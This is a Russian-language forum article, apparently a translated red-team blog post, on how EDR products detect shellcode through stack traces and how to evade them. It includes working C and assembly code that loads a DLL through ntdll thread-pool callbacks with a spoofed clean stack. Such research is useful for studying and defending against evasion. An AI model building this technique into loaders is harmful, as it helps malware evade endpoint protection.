• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Скрываясь на виду у всех. №1

man.jpg

В этой статье представлен высокоуровневый обзор трассировки стека. Того, как EDR/AV используют трассировку для обнаружения, использования телеметрии ETWTI. Рассмотрим то, что можно сделать для её обхода. Итак, прежде чем мы обсудим уклонение, давайте сначала поймем, почему трассировка стека важна для EDR.

Что такое стек?​

Самый простой способ описания "стека" в информатике - это временное пространство памяти, где хранятся локальные переменные и аргументы функций с правами неисполнения. Этот стек может содержать различную информацию о потоке и функции, в которой он выполняется. Каждый раз, когда ваш процесс выполняет новый поток, создается новый стек. Стек растет снизу вверх и работает линейно, что означает, что он следует принципу Last In, First Out. В 'RSP' (x64) или 'ESP' (x86) хранится текущий указатель стека потока. Каждый новый размер стека по умолчанию, для потока в Windows, составляет 1 мегабайт, если он явно не изменен разработчиком во время создания потока. Это означает, что если разработчик не рассчитает и не увеличит размер стека во время кодирования, то стек может в конечном итоге достигнуть границы стека (альтернатива известна как "stack canary") и вызвать исключение. Обычно, задача функции chkstk в библиотеке msvcrt.dll состоит в том, чтобы проанализировать стек и выдать исключение в том случае, если требуется больший размер стека. Таким образом, если вы напишете позиционно-независимый шеллкод, который требует большого стека (поскольку все в PIC хранится в стеке), ваш шеллкод завершится, вызвав исключение, поскольку ваш PIC не будет связан с функцией chkstk в msvcrt.dll. Когда запускается ваш поток, он может содержать в себе выполнение нескольких функций и использование различных типов переменных. В отличие от кучи, которую нужно выделять и освобождать вручную, нам не нужно вручную вычислять стек. Когда компилятор (mingw gcc или clang) компилирует C/C++ код, он автоматически вычисляет необходимый стек и добавляет необходимую инструкцию в код. Таким образом, при запуске вашего потока он сначала выделит в стеке размер 'x' из зарезервированного стека в 1 МБ. Для примера возьмем следующий пример:
C:
void samplefunction() {
    char test[8192];
}

В приведенной выше функции мы просто создаем переменную размером 8192 байта, но она не будет храниться в PE, так как будет без необходимости занимать место на диске. Поэтому такие переменные оптимизируются компиляторами и преобразуются в такие инструкции, как:
C-подобный:
sub rsp, 0x2000

Приведенный выше ассемблерный код вычитает из стека 0x2000 байт (8192 десятичных), которые будут использованы функцией во время выполнения. Короче говоря, если вашему коду нужно очистить некоторое пространство стека, он добавит байты в стек, а если ему требуется некоторое пространство стека, он вычтет из стека. Стек каждой функции в потоке будет преобразован в блок, который называется стековым фреймом. Стековые фреймы дают четкое и ясное представление о том, какая функция была вызвана последней, из какой области памяти, сколько стека используется этим фреймом, какие переменные хранятся в фрейме и куда должна вернуться текущая функция. Каждый раз, когда ваша функция вызывает другую функцию, адрес вашей текущей функции сохраняется в стек, так что когда следующая функция вызывает 'ret' или return, она возвращается по адресу текущей функции для продолжения выполнения. Когда текущая функция возвращается к предыдущей функции, стековый кадр текущей функции уничтожается, хоть и не полностью, - к нему все еще можно получить доступ, но в основном он перезаписывается следующей вызванной функцией. Если объяснять пятилетнему ребенку, то это будет выглядеть следующим образом:
C:
void func3() {
    char test[2048];
    // do something
    return;
}

void func2() {
    char test[4096];
    func3();
}

void func1() {
    char test[8192];
    func2();
}

Приведенный выше код преобразуется в ассемблер следующим образом:
C-подобный:
func3:
    sub rsp, 0x800
    ; do something
    add rsp, 0x800
    ret
func2:
    sub rsp, 0x1000
    call func3
    add rsp, 0x1000
    ret
func1:
    sub rsp, 0x2000
    call func2
    add rsp, 0x2000
    ret

Ну, пятилетний ребенок этого не поймет, но когда вы найдете пятилетнего ребенка, пишущего вредоносное ПО? XD! Таким образом, каждый кадр стека будет содержать количество байт, которые необходимо выделить под переменные, адрес возврата, который был выведен в стек предыдущей функцией, и информацию о локальных переменных текущей функции (в двух словах).

Откуда здесь "D" в EDR?​

Техника обнаружения здесь чрезвычайно умна. Некоторые EDR используют userland hooks, в то время как некоторые используют ETW для перехвата телеметрии стека. Например, вы хотите выполнить свой шеллкод без переполнения модуля. Итак, вы выделяете немного памяти с помощью VirtualAlloc или родственного NTAPI NtAllocateVirtualMemory, затем копируете свой шеллкод и выполняете его. Теперь ваш шеллкод может иметь свои собственные зависимости, и он может вызвать LoadLibraryA или LdrLoadDll для загрузки dll с диска в память. Если ваш EDR использует пользовательские хуки, они могут уже подключить LoadLibrary и LdrLoadDll, в этом случае они могут проверить адрес возврата, вытолкнутый в стек вашей областью шеллкода RX. Это характерно для некоторых EDR, таких как Sentinel One, Crowdstrike и т.д., которые мгновенно уничтожат вашу полезную нагрузку. Другие EDR, такие как Microsoft Defender ATP (MDATP), Elastic, FortiEDR, используют ETW или обратные вызовы ядра, чтобы проверить, откуда поступил вызов LoadLibrary. Трассировка стека предоставит полный кадр стека с адресом возврата и всеми функциями, с которых начался вызов LoadLibrary. Короче говоря, если вы выполните боковую загрузку DLL, которая выполнит ваш шеллкод, вызвавший LoadLibrary, это будет выглядеть следующим образом:


Код:
|-----------Top Of The Stack-----------|
|                                      |
|                                      |
|--------------------------------------|
|------Stack Frame of LoadLibrary------|
|     Return address of RX on disk     |
|                                      |
|----------Stack Frame of RX-----------|  <- Detection (An unbacked RX region should never call LoadLibraryA)
|     Return address of PE on disk     |
|                                      |
|-----------Stack Frame of PE----------|
| Return address of RtlUserThreadStart |
|                                      |
|---------Bottom Of The Stack----------|

Это означает, что любой EDR, который подключает LoadLibrary в usermode или через обратные вызовы ядра/ETW, может проверить регион последнего возвращаемого адреса или то, откуда пришел вызов. В версии 1.1 BRc4 я начал использовать API RtlRegisterWait, который может запросить рабочий поток в пуле потоков выполнить LoadLibraryA в отдельном потоке для загрузки библиотеки. Как только библиотека загружена, мы можем извлечь ее базовый адрес, просто просмотрев PEB (Process Environment Block). Позже Nighthawk перенял эту технику в API RtlQueueWorkItem, который является основным NTAPI для QueueUserWorkItem, который также может поставить в очередь запрос на рабочий поток для загрузки библиотеки с чистым стеком. Однако это было исследовано Proofpoint где-то в прошлом году в их блоге, а недавно Джо Десимоне из Elastic также опубликовал твит о том, что API RtlRegisterWait используется BRc4. Это означало, что рано или поздно обнаружения обойдут его стороной, и нужно больше таких API, которые могут быть использованы для дальнейшего обхода. Поэтому я решил потратить некоторое время на реверс некоторых недокументированных API из ntdll и нашел по меньшей мере 27 различных callbacks, которые при небольшой доработке и взломе могут быть использованы для загрузки нашей DLL с чистым стеком.

Callbacks в Windows: Позвольте нам представиться​

Функции callback - это указатели на функцию, которые могут быть переданы другим функциям для выполнения внутри них. Microsoft предоставляет разработчикам программного обеспечения безумное количество функций callback для выполнения кода через другие функции. Многие из этих функций можно найти в репозитории GitHub, которые были довольно широко использованы за последние два года. Однако существует серьезная проблема со всеми этими обратными вызовами. Когда вы выполняете callback, вы не хотите, чтобы callback находился в том же потоке, что и вызывающий поток. Это означает, что вы не хотите, чтобы трассировка стека проходила по такому пути, как: LoadLibrary возвращается в -> Callback Function возвращается в -> RX region. Для того чтобы стек был чистым, нам нужно убедиться, что наша LoadLibrary выполняется в отдельном потоке, не зависящем от региона RX, а если мы используем обратные вызовы, нам нужно, чтобы обратные вызовы могли передавать соответствующие параметры в LoadLibraryA. Большинство обратных вызовов в Windows либо не имеют параметров, либо не передают параметры "как есть" нашей целевой функции "LoadLibrary". Возьмем в качестве примера приведенный ниже код:

C:
#include <windows.h>
#include <stdio.h>

int main() {
    CHAR *libName = "wininet.dll";

    PTP_WORK WorkReturn = NULL;
    TpAllocWork(&WorkReturn, LoadLibraryA, libName, NULL); // pass `LoadLibraryA` as a callback to TpAllocWork
    TpPostWork(WorkReturn);     // request Allocated Worker Thread Execution
    TpReleaseWork(WorkReturn);  // worker thread cleanup

    WaitForSingleObject((HANDLE)-1, 1000);
    printf("hWininet: %p\n", GetModuleHandleA(libName)); //check if library is loaded

    return 0;
}

Если скомпилировать и запустить приведенный выше код, он завершится аварийно. Причина в том, что определение TpAllocWork следующее:

C:
NTSTATUS NTAPI TpAllocWork(
    PTP_WORK* ptpWrk,
    PTP_WORK_CALLBACK pfnwkCallback,
    PVOID OptionalArg,
    PTP_CALLBACK_ENVIRON CallbackEnvironment
);

Как видно на рисунке выше, наш PVOID OptionalArg из API TpAllocWork передается в качестве вторичного аргумента нашему обратному вызову (PVOID Context). Таким образом, если наша гипотеза верна, аргумент libName (wininet.dll), который мы передали TpAllocWork, окажется вторым аргументом нашей LoadLibraryA. Но LoadLibraryA НЕ имеет второго аргумента. Проверка этого в отладчике приводит к следующему изображению:
LLB1.png

Так что это действительно создало чистый стек как: LoadLibraryA возвращается в -> TpPostWork возвращается в -> RtlUserThreadStart, но наш аргумент для LoadLibrary отправляется как второй аргумент, тогда как первый аргумент является указателем на структуру TP_CALLBACK_INSTANCE, отправленную API TpPostWork. Проверив еще немного, я обнаружил, что эта структура динамически генерируется TppWorkPost (НЕ TpPostWork), который, как и ожидалось, является внутренней функцией ntdll.dll, и без наличия отладочных символов для этого API ничего нельзя сделать.
tpp.png

Однако надежда еще не потеряна. Один из грязных трюков, который мы можем попробовать, это заменить функцию callback из LoadLibrary на пользовательскую функцию в TpAllocWork, которая затем вызывает LoadLibraryA через наш callback. Получится что-то вроде этого:
C:
#include <windows.h>
#include <stdio.h>

VOID CALLBACK WorkCallback(
  _Inout_     PTP_CALLBACK_INSTANCE Instance,
  _Inout_opt_ PVOID                 Context,
  _Inout_     PTP_WORK              Work
) {
    LoadLibraryA(Context);
}

int main() {
    CHAR *libName = "wininet.dll";

    PTP_WORK WorkReturn = NULL;
    TpAllocWork(&WorkReturn, WorkerCallback, libName, NULL); // pass `LoadLibraryA` as a callback to TpAllocWork
    TpPostWork(WorkReturn);      // request Allocated Worker Thread Execution
    TpReleaseWork(WorkReturn);   // worker thread cleanup

    WaitForSingleObject((HANDLE)-1, 1000);
    printf("hWininet: %p\n", GetModuleHandleA(libName)); //check if library is loaded

    return 0;
}

Однако это означает, что обратный вызов будет находиться в нашем регионе RX, и стек станет таким: LoadLibraryA возвращается в -> Callback in RX Region возвращается в -> RtlUserThreadStart -> TpPostWork, что не очень хорошо, так как в итоге мы делаем то же самое, чего пытались избежать. Причина этого - стековый фрейм. Когда мы вызываем LoadLibraryA из нашего обратного вызова в RX Region, мы выталкиваем адрес возврата обратного вызова в RX Region в стек, который в итоге становится частью стековой рамки. Однако, что если мы будем манипулировать стеком, чтобы НЕ ЗАГРУЖАТЬ АДРЕС ВОЗВРАТА? Конечно, нам придется написать несколько строк на ассемблере, но это полностью решит нашу проблему, и мы сможем иметь прямой вызов из TpPostWork в LoadLibrary без всяких тонкостей между ними.

Финальный трюк​


C:
#include <windows.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);

FARPROC pLoadLibraryA;

UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)pLoadLibraryA;
}

extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);

int main() {
    pLoadLibraryA = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
    FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");

    CHAR *libName = "wininet.dll";
    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, libName, NULL);
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);

    WaitForSingleObject((HANDLE)-1, 0x1000);
    printf("hWininet: %p\n", GetModuleHandleA(libName));

    return 0;
}

Код ASM для перенаправления WorkCallback на LoadLibrary путем манипулирования фреймом стека
C-подобный:
section .text

extern getLoadLibraryA

global WorkCallback

WorkCallback:
    mov rcx, rdx
    xor rdx, rdx
    call getLoadLibraryA
    jmp rax
Теперь, если скомпилировать их вместе, наш TpPostWork вызывает WorkCallback, но WorkCallback не вызывает LoadLibraryA, а переходит к ее указателю. WorkCallback просто перемещает имя библиотеки в регистре RDX в RCX, стирает RDX, получает адрес LoadLibraryA из специальной функции и затем переходит к LoadLibraryA, что приводит к перестановке всего стекового кадра без добавления нашего адреса возврата. В итоге кадр стека выглядит следующим образом:
cleanSlate.png


Стек чист, как хрусталь, без признаков чего-либо вредоносного. После обнаружения этой техники я начал охотиться за другими API, которыми можно манипулировать, и обнаружил, что с помощью небольшого количества аналогичных настроек можно реализовать прокси-загрузку DLL с 27 другими обратными вызовами, расположенными в kernel32, kernelbase и ntdll. Все для этого блога, а также полный код можно найти в моем репозитории GitHub.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!